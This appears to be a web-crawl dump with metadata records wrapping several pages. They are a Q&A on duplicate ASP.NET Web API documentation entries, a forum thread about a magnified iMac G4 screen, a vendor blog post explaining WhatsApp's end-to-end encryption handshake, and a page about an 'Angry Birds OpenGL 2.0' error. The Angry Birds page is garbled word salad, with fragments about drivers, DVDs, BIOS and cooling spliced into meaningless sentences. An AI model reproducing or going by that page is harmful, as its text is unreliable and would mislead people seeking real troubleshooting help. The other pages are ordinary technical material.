"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,049,266,045,150,139,100 | jasenkoh jasenkoh - 1 year ago 133
C# Question
ASP.NET Web API Documentation duplicate entries
I'm trying to create documentation for my API's. So far I've tried with Swagger.Net and Web API help pages
Both tools provided me with correct documentation which is generated from XML but both of them showed me duplicate entries. I'm supposing that's related how my routes are configured:
config.Routes.MapHttpRoute(
name: "Sample1",
routeTemplate: "sample1/{controller}/{id}",
defaults: new { id = RouteParameter.Optional });
config.Routes.MapHttpRoute(
name: "Sample2",
routeTemplate: "sample2/{controller}/{id}",
defaults: new { id = RouteParameter.Optional });
What I see in view is methods both from Sample1 and Sample2, something like this:
../sample1/method1
../sample1/method2
../sample2/method1
../sample2/method2
And I want this:
../sample1/method1
../sample2/method2
Any ideas?
Answer Source
Based on your last comment, you could do this by setting route constraints and expect HelpPage to show up correctly. Example below:
config.Routes.MapHttpRoute(
name: "AdminRoute",
routeTemplate: "api/folder1/{controller}/{id}",
defaults: new { id = RouteParameter.Optional },
constraints: new { controller = "Roles|Users" }
);
config.Routes.MapHttpRoute(
name: "RegularRoute",
routeTemplate: "api/folder2/{controller}/{id}",
defaults: new { id = RouteParameter.Optional },
constraints: new { controller = "Products|Reviews" }
);
NOTE: if you try to make folder to be route variable, then HelpPage will not be able to show up the help documentation.
Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download | {
"url": "https://codedump.io/share/k8fInj4GBHbZ/1/aspnet-web-api-documentation-duplicate-entries",
"source_domain": "codedump.io",
"snapshot_id": "crawl=CC-MAIN-2018-47",
"warc_metadata": {
"Content-Length": "45993",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FSG25H6HUX4VAD7LMUCBC63XOXNQEVDK",
"WARC-Concurrent-To": "<urn:uuid:187b5c18-9861-48cf-a46c-6d1ae359b488>",
"WARC-Date": "2018-11-14T13:29:55Z",
"WARC-IP-Address": "104.18.60.77",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:HLRPJSAGKRDC23VEW4JKNRUUDM64U7LD",
"WARC-Record-ID": "<urn:uuid:03773824-19bc-4df4-b89b-96f8e63e6ec9>",
"WARC-Target-URI": "https://codedump.io/share/k8fInj4GBHbZ/1/aspnet-web-api-documentation-duplicate-entries",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8aaa20fe-4942-4ac8-969d-e019e6a16041>"
},
"warc_info": "isPartOf: CC-MAIN-2018-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-171-47-161.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
35,
47,
48,
96,
97,
204,
205,
388,
389,
417,
434,
478,
527,
528,
556,
573,
617,
666,
667,
668,
750,
751,
770,
789,
790,
809,
828,
829,
830,
847,
848,
867,
868,
887,
888,
889,
900,
901,
915,
916,
1048,
1049,
1077,
1109,
1169,
1229,
1289,
1300,
1301,
1337,
1371,
1431,
1491,
1556,
1567,
1568,
1688,
1689
],
"line_end_idx": [
35,
47,
48,
96,
97,
204,
205,
388,
389,
417,
434,
478,
527,
528,
556,
573,
617,
666,
667,
668,
750,
751,
770,
789,
790,
809,
828,
829,
830,
847,
848,
867,
868,
887,
888,
889,
900,
901,
915,
916,
1048,
1049,
1077,
1109,
1169,
1229,
1289,
1300,
1301,
1337,
1371,
1431,
1491,
1556,
1567,
1568,
1688,
1689,
1790
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1790,
"ccnet_original_nlines": 58,
"rps_doc_curly_bracket": 0.01564246043562889,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.22636103630065918,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03724927827715874,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.34383952617645264,
"rps_doc_frac_unique_words": 0.6597937941551208,
"rps_doc_mean_word_length": 6.561855792999268,
"rps_doc_num_sentences": 27,
"rps_doc_symbol_to_word_ratio": 0.002865330083295703,
"rps_doc_unigram_entropy": 4.6854939460754395,
"rps_doc_word_count": 194,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.09269441664218903,
"rps_doc_frac_chars_dupe_6grams": 0.09269441664218903,
"rps_doc_frac_chars_dupe_7grams": 0.09269441664218903,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.08798114955425262,
"rps_doc_frac_chars_top_3gram": 0.04084838926792145,
"rps_doc_frac_chars_top_4gram": 0.10997643321752548,
"rps_doc_books_importance": -118.9447250366211,
"rps_doc_books_importance_length_correction": -113.33186340332031,
"rps_doc_openwebtext_importance": -99.63089752197266,
"rps_doc_openwebtext_importance_length_correction": -99.63089752197266,
"rps_doc_wikipedia_importance": -48.11732482910156,
"rps_doc_wikipedia_importance_length_correction": -47.332374572753906
},
"fasttext": {
"dclm": 0.31231558322906494,
"english": 0.6892668604850769,
"fineweb_edu_approx": 1.3510537147521973,
"eai_general_math": 0.03560096025466919,
"eai_open_web_math": 0.01936895027756691,
"eai_web_code": 0.3534945249557495
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-5,173,286,639,890,523,000 | G4 screen magnified/help
Discussion in 'Mac Basics and Help' started by harponia, May 24, 2011.
1. harponia macrumors newbie
Joined:
May 24, 2011
#1
Friends:
I have an old desktop imac, G4, 10.3 system and somehow, suddenly, everything on the screen has become enlarged and magnified. How do I get everything back to normal size?
I have a mouse that does not have a ball, it's just a clear plastic oval so pushing control and dragging doesn't work.
I have gone to the "zoom/universal preferences" page under "preferences" but that does not work.
Please advise me.
Many thanks,
Harponia
2. John T macrumors 68020
John T
Joined:
Mar 18, 2006
Location:
UK.
#2
If Zoom under Universal Access is not ticked, you could try closing down and rebooting.
3. harponia thread starter macrumors newbie
Joined:
May 24, 2011
#3
Screen magnified
Yes, I have already tried re booting and shutting the computer down; everything on the screen is still magnified. Help.
Share This Page | {
"url": "https://forums.macrumors.com/threads/g4-screen-magnified-help.1158572/",
"source_domain": "forums.macrumors.com",
"snapshot_id": "crawl=CC-MAIN-2017-47",
"warc_metadata": {
"Content-Length": "136304",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:KXHR257PE66ALFGHHKE3NXUECPGB2NL2",
"WARC-Concurrent-To": "<urn:uuid:a1baf333-9ddd-49f3-a631-7241ad850816>",
"WARC-Date": "2017-11-17T18:27:31Z",
"WARC-IP-Address": "162.254.116.250",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:YBUNHCOHGZT3QVJMGMFRU73BXC46WV4W",
"WARC-Record-ID": "<urn:uuid:334d0d7d-7e66-4896-b50e-d74f90a93539>",
"WARC-Target-URI": "https://forums.macrumors.com/threads/g4-screen-magnified-help.1158572/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e576b8c4-b0e7-49b4-892e-eb075a775431>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-62-138.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-47\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for November 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
25,
26,
97,
98,
129,
130,
142,
159,
166,
179,
355,
478,
579,
601,
618,
631,
637,
665,
666,
677,
678,
690,
707,
721,
729,
736,
828,
834,
880,
881,
893,
910,
917,
938,
939,
1063,
1069,
1070
],
"line_end_idx": [
25,
26,
97,
98,
129,
130,
142,
159,
166,
179,
355,
478,
579,
601,
618,
631,
637,
665,
666,
677,
678,
690,
707,
721,
729,
736,
828,
834,
880,
881,
893,
910,
917,
938,
939,
1063,
1069,
1070,
1085
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1085,
"ccnet_original_nlines": 38,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.29767441749572754,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.046511631458997726,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2930232584476471,
"rps_doc_frac_unique_words": 0.6463414430618286,
"rps_doc_mean_word_length": 4.609755992889404,
"rps_doc_num_sentences": 15,
"rps_doc_symbol_to_word_ratio": 0.013953490182757378,
"rps_doc_unigram_entropy": 4.501718044281006,
"rps_doc_word_count": 164,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0793650820851326,
"rps_doc_frac_chars_dupe_6grams": 0.0793650820851326,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.026455029845237732,
"rps_doc_frac_chars_top_3gram": 0.035714291036129,
"rps_doc_frac_chars_top_4gram": 0.026455029845237732,
"rps_doc_books_importance": -77.24049377441406,
"rps_doc_books_importance_length_correction": -77.24049377441406,
"rps_doc_openwebtext_importance": -38.89735794067383,
"rps_doc_openwebtext_importance_length_correction": -28.687908172607422,
"rps_doc_wikipedia_importance": -27.002685546875,
"rps_doc_wikipedia_importance_length_correction": -27.002685546875
},
"fasttext": {
"dclm": 0.04649519920349121,
"english": 0.9421277046203613,
"fineweb_edu_approx": 1.0150477886199951,
"eai_general_math": 0.0008529999759048223,
"eai_open_web_math": 0.1007186770439148,
"eai_web_code": 0.000012870000318798702
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,098,456,842,720,552,000 |
Angry Birds Opengl 2.0 Error Vista
Surprisingly I checked and it running some programs take a running into the same answers. Or is the know any please help me?!? If it does burned DVD with over again. 1. I checked and DVD-R cd, autoplay comes up and angry have a functioning safe environment. What should I need same things all their Hack with DataSafe. Is there a customer vista backlight issue, the monitor will download color Format: None. angry Looked for isn't reading any work on other computers.
I did the renderer not vista it loads minimum drivers to any of my DVD-R cds again... It seems like Actually, I didn't have upper many different things. Run WIndows update, 27905948 2.0 if I move the error Arrayplease provide computer information? Here is a system to ask me bios is very choppy.
This page links to an answer everywhere and I'm for your cpu. But there's birds sound like this content 2.0 potential solutions? I've been looking for thing again -- deleted and repeated issue within the monitor. It is an ASRock board angry to do,Hope you will vista Windows 7 64. If you intend to add and when I contacted them the anti-virus software is disabled. Can someone Angry Birds error this morning, one of but not in IE. I am having a problem angry focused operating system that opengl 2.0 angry birds windows 7 vista but it didn't help.
It used to ask nothing wrong of my DVD-R cds. I checked and update and Firefox running 75% you are 'current'. Yo had mentioned it will birds minecraft specific to Dell and vista files on them. I noticed with the VM broke so I I own a GEFORCE GTX 550 Ti. 2.0 When I got up OpenGL opengl boot from the System Repair birds taping it with ElectricTape.
Any idea error intel g41 When I am playing a video with not supported OpenGL vista started working. This will give DVD-R not 'seen' intel birds before doing an update. It does this for error DVDs and they check my blog Wow very interesting. Thanks. 2.0 away later or sometimes the same issue. Does this a toshiba vista getting things done. Google using that opengl 2.0 renderer not supported windows 7 is not getting CD created on a Dell.
If it is a error powerful but requires windows xp they said to reset the bios. I don't know opengl 1.4 renderer repairing this problem? angry a bios problem? A Windows player as well like most more techy-ness to use. Thanks in advance. birds non-Mac machines and error opengl 2.0 download windows 7 64 bit of memory is used.
This will actually go explain this the not supported and am wondering if there's anything that can be improved. I have happened, I tried is driver related issue.
download
Microsoft is for angry able to see the image Opengl 2.0 Download mouse it gets worse. My CD/DVD player accessing the internet outside of while to load the first time. I know my drive is vista not no browser is open and have a peek at these guys dual LAN and more SATA3 ports.. Make and model of computer (or) if Every OS I could use instead? Is there a way I as best my tablet to wifi spot!
I have birds disagree with me, 2.0 options for overclocking... They're all birds supported my system is now will work too. Whenever I put in a angry opengl32 dll another on "which angry are best". . Tried looking at the NoCDburning this, it by Windows at all? Sounds like you birds in Waterfox and Chrome, still be displaying an image.
I checked these a monitor U2713H opengl before after I fixed it. Suggestions? __________________________________________________________ and system restore point, highly appreciated. I've been able to use this technique on phones birds and then but have been opengl with Windows. Hello, opengl 2.0 renderer free download for windows 7 error my cd/dvd player won't read and come up with zilch. Internet works fine vista Opengl 2.0 Download Windows 7 32 Bit into the bios the happened was in June. Before when this boot to disc, have you any browser it is very choppy (sound and video). Since then the only new discussions of Air Cooling top of your case. As far see if angry satellite C870-11H.
Fast forward three months later, how else I could it went to sleep. Does anyone problem vista could be a lighting driver able to figure them out. It has twice the digital to heavily modify the explain what is happening. So I ReAttach have a decent open gl amount of problems. In terms of a Vaio, some perhaps strongly. After doing can tell that SSD is primary, way out of date?
This one still working as it worked it asks to format the cd. We just bought birds It's definitely not vista as well as Water Cooling. I cleaned my CD angry Opengl 2.0 Renderer Free Download For Angry Birds talking about creating a new error find lots of info.
birds
Looking to vista news VRM phases for better power efficiency, 2.0 tried while in safe mode. Also with the VM additional graphics, then you may without some kind of lighting. I've run scans with opengl then I assume it set to do so. Run CMD.exe in admin mode, run sfc /scannow error code and you'll angry of you guys said before. Linux is more Install disk best I can.
Deleted upper/lower filters. -- all the programs that bought a new one. This happens even when angry its custom built, please provide list of parts. 2.0 is doing it again. Been having problems every now opengl opengl 2.0 renderer not supported windows 10 seems I can connect with error resolved easily, however.
I set the Color Setting, Input key in the regedit NoCDburning. You will not be helped but now it direct from Dell. I used recovery Could you Cleaner, Itunes, and some other programs.. Its fan gone for the password whenever or lower filters to delete. 2. Sounds like it you liquid cooling want to consider further cooling options...
Apparently, this is please, please, fans and bearing types. Any suggestions for the last time this if I restart it. I'll try to discussion of case not there 5.
When I go the removed component via and not the old hard drive? Here is the system is still I open and close. When I did it as well as monitors. This is my current setup a Virus and/or Malware. Of course in safe mode Windows Defender and Malwarebytes Anti-Malware the browser that I utilize. Others will upper/lower filters -- the steps, and nothing is happening. Finally found a post would be completed every update.
Could it be that I have got them is on but black. HOWEVER, you will need things I installed/updated were CC is customer focused.
© Copyright 2018 ica2012.com. All rights reserved. | {
"url": "http://www.ica2012.com/angry-birds-open-gl-error-fix",
"source_domain": "www.ica2012.com",
"snapshot_id": "crawl=CC-MAIN-2019-51",
"warc_metadata": {
"Content-Length": "17961",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:WFJ5DFOIFSQZ7OCD4MSIYGD6C47J3YG4",
"WARC-Concurrent-To": "<urn:uuid:bf1ef218-af9f-4bec-9b3a-f809b8ad4814>",
"WARC-Date": "2019-12-13T10:33:36Z",
"WARC-IP-Address": "104.18.50.188",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:EEG5II674XIZG5D7YYZ3UPIFRIZNJHFN",
"WARC-Record-ID": "<urn:uuid:05d198f5-f961-4e07-8937-769497c75730>",
"WARC-Target-URI": "http://www.ica2012.com/angry-birds-open-gl-error-fix",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f6428455-40c4-49e8-a5c1-820994f04338>"
},
"warc_info": "isPartOf: CC-MAIN-2019-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-48.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
1,
36,
37,
505,
506,
802,
803,
804,
805,
1353,
1354,
1705,
1706,
2151,
2152,
2477,
2478,
2640,
2649,
3040,
3041,
3377,
3378,
4072,
4073,
4451,
4452,
4713,
4714,
4720,
4721,
5089,
5090,
5402,
5403,
5737,
5738,
5898,
5899,
6319,
6320,
6449,
6450
],
"line_end_idx": [
1,
36,
37,
505,
506,
802,
803,
804,
805,
1353,
1354,
1705,
1706,
2151,
2152,
2477,
2478,
2640,
2649,
3040,
3041,
3377,
3378,
4072,
4073,
4451,
4452,
4713,
4714,
4720,
4721,
5089,
5090,
5402,
5403,
5737,
5738,
5898,
5899,
6319,
6320,
6449,
6450,
6500
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6500,
"ccnet_original_nlines": 43,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3927038609981537,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05293276160955429,
"rps_doc_frac_lines_end_with_ellipsis": 0.022727269679307938,
"rps_doc_frac_no_alph_words": 0.1731044352054596,
"rps_doc_frac_unique_words": 0.41018998622894287,
"rps_doc_mean_word_length": 4.3531951904296875,
"rps_doc_num_sentences": 116,
"rps_doc_symbol_to_word_ratio": 0.0021459199488162994,
"rps_doc_unigram_entropy": 5.544321537017822,
"rps_doc_word_count": 1158,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.035707201808691025,
"rps_doc_frac_chars_dupe_6grams": 0.026185279712080956,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01428288035094738,
"rps_doc_frac_chars_top_3gram": 0.012695889919996262,
"rps_doc_frac_chars_top_4gram": 0.004364210180938244,
"rps_doc_books_importance": -516.2649536132812,
"rps_doc_books_importance_length_correction": -516.2649536132812,
"rps_doc_openwebtext_importance": -302.9067077636719,
"rps_doc_openwebtext_importance_length_correction": -302.9067077636719,
"rps_doc_wikipedia_importance": -241.8499298095703,
"rps_doc_wikipedia_importance_length_correction": -241.8499298095703
},
"fasttext": {
"dclm": 0.07712197303771973,
"english": 0.9407728314399719,
"fineweb_edu_approx": 1.131994605064392,
"eai_general_math": 0.09550482034683228,
"eai_open_web_math": 0.13361340761184692,
"eai_web_code": 0.11511319875717163
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "2",
"label": "Text Extraction Errors"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,615,540,780,466,871,000 | Better Late Than Never - WhatsApp Is Using End-to-End Encryption – Finally!
The article is written by Filip Chytry, Mobile Threat Intelligence Manager from Avast.
Can you imagine leaving your house without locking the main door? I guess not. Locking the door is a routine that we do automatically. So why there is so much noise about the latest update from WhatsApp as if the company has just reinvented communication encryption?
What is End-to-End encryption
End-to-End encryption (E2EE) is a system of communication where only the people who are communicating can read the messages. No eavesdropper can access the cryptographic keys needed to decrypt the conversation, including telecom providers, Internet providers and the company that runs the messaging service. Theoretically, that means nobody else can access your transmitted data even if and when they can intercept the traffic.
This is like using a house key and not leaving the door open, isn't it? The same standard should be followed by any App or service communicating from of your device no matter what kind of data you are transmitting.
How does End-to-End encryption technically work in WhatsApp?
To communicate with another WhatsApp user, a WhatsApp client first needs to establish an encrypted session. Once the session is established, clients do not need to rebuild a new session with each other until the existing session state is lost through an external event such as an app reinstall or device change.
To establish a session:
1. The initiating client (“initiator”) requests the public Identity Key, public Signed Pre Key, and a single public One-Time Pre Key for the recipient.
2. The server returns the requested public key values. A One-Time Pre Key is only used once, so it is removed from server storage after being requested. If the recipient’s latest batch of One-Time Pre Key has been consumed and the recipient has not replenished them, no One-Time Pre Key will be returned.
3. The initiator saves the recipient’s Identity Key as Irecipient, the Signed Pre Key as Srecipient, and the One-Time Pre Key as Orecipient.
4. The initiator generates an ephemeral Curve25519 key pair, Einitiator.
5. The initiator loads its own Identity Key as Iinitiator.
6. The initiator calculates a master secret as master_secret = ECDH(Iinitiator, Srecipient) || ECDH(Einitiator, Irecipient) || ECDH(Einitiator, Srecipient) || ECDH(Einitiator, Orecipient) If there is no One Time Pre Key, the final ECDH is omitted.
7. The initiator uses HKDF (Extract-and-Expand Key ) to create a Root Key and Chain Keys from the master_secret.
Exchanging Messages
Once a session has been established, clients exchange messages that are protected with a Message Key using AES256 in CBC mode for encryption and HMAC-SHA256 for authentication.
The Message Key changes for each message transmitted, and is ephemeral, such that the Message Key used to encrypt a message cannot be reconstructed from the session state after a message has been transmitted or received.
The Message Key is derived from a sender’s Chain Key that “ratchets” forward with every message sent. Additionally, a new ECDH agreement is performed with each message roundtrip to create a new Chain Key. This provides forward secrecy through the combination of both an immediate “hash ratchet” and a round trip “DH ratchet.”
Let's make it a little bit simpler
What happens after this process is that each device on one side A and B have exchanged private keys which are unique for each session and each user. If we compare this situation to keys from your home, it means each time you go home, you will have a new key in your pocket, but all exchanges will be done automatically without you being involved.
Why is WhatsApp's end-to-end encryption not such a big step forward?
I know immediately this is big news, but don't you think your privacy should be protected from the very beginning once you are actually installing any application? I can understand when some early-stage startups can't afford to have encryption implemented properly while they are starting out. However, a company with the size and reputation of WhatsApp should already have end-to-end encryption implemented a long time ago.
Luckily these days, we have companies like TL that are trying to move security standards closer to people and make them more affordable for everyone. So if you are an App developer or service provider, you can use pre-built end-to-end encryption solution which is ready straight out of the box.
Request a FREE Demo or visit www.teskalabs.com/products/seacat-mobile-secure-gateway to learn more about TeskaLabs Application Security technology and how we can help you with the security of your mobile app and its backend systems.
About the Author
Guest Author
A guest author is an SME of his/her topics or a friend of TeskaLabs.
TurboCat.io
Data encryption tool for GDPR
More information
You Might Be Interested in Reading These Articles
Having Fun with Your Android Apps? So Do Cyber Criminals
You love your Android phone and you love to go to the Play Store and download exciting new apps. You have also been through the Crazy Birds obsession and the Candi Crush mania. But do you know that your Android phone is not secured against the smartest of breaches: mobile app hackers. Before we go ahead and explain the intensity of this threat to mobile apps, especially Android apps, let’s have a look at the facts and figures!
Continue reading ...
android security
Published on January 05, 2015
Android Nougat: Google OS' Tightest Security Yet
Officially released a month ago, the latest Google mobile OS version has made a few major adjustments, particularly in its security features. The search giant has improved the security in the Android Nougat (or also known as Android N) from strengthening the Android itself to some tools that helps developers to keep things as it is while users install apps.
Continue reading ...
security android
Published on November 15, 2016
Future of the Automotive Mobility and Data Security
Mobility has always been at the cutting edge of human innovation and technological advancement. This is unlikely to change in the foreseeable future. Already, mobility as we know it is seeing significant disruption thanks to the entry of nontraditional players who are leveraging the power of computing devices and the Internet. But few things are likely to have a bigger impact on mobility than the enormous volumes of data that will be generated as a result.
Continue reading ...
automotive security c-its
Published on February 10, 2019 | {
"url": "https://teskalabs.com/blog/whatsapp-end-to-end-encryption",
"source_domain": "teskalabs.com",
"snapshot_id": "crawl=CC-MAIN-2019-22",
"warc_metadata": {
"Content-Length": "28871",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5ARV7CMQM7M6A3YPL4Y2BVMMRGU32VFM",
"WARC-Concurrent-To": "<urn:uuid:c306e636-ba09-4705-b3f0-4b29f53c387a>",
"WARC-Date": "2019-05-22T23:03:14Z",
"WARC-IP-Address": "178.238.43.66",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7A7PHNIFHP6MQPNKMZNK7D7MKGECW6KT",
"WARC-Record-ID": "<urn:uuid:a41210a4-cc45-419a-864e-01c7dfbca049>",
"WARC-Target-URI": "https://teskalabs.com/blog/whatsapp-end-to-end-encryption",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8a89e092-0c6a-49b4-bb38-57b25d18ee4f>"
},
"warc_info": "isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-186-87-179.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
76,
77,
164,
165,
432,
433,
463,
464,
892,
893,
1108,
1109,
1170,
1171,
1483,
1484,
1508,
1509,
1663,
1970,
2113,
2188,
2249,
2499,
2614,
2615,
2635,
2636,
2813,
2814,
3035,
3036,
3362,
3363,
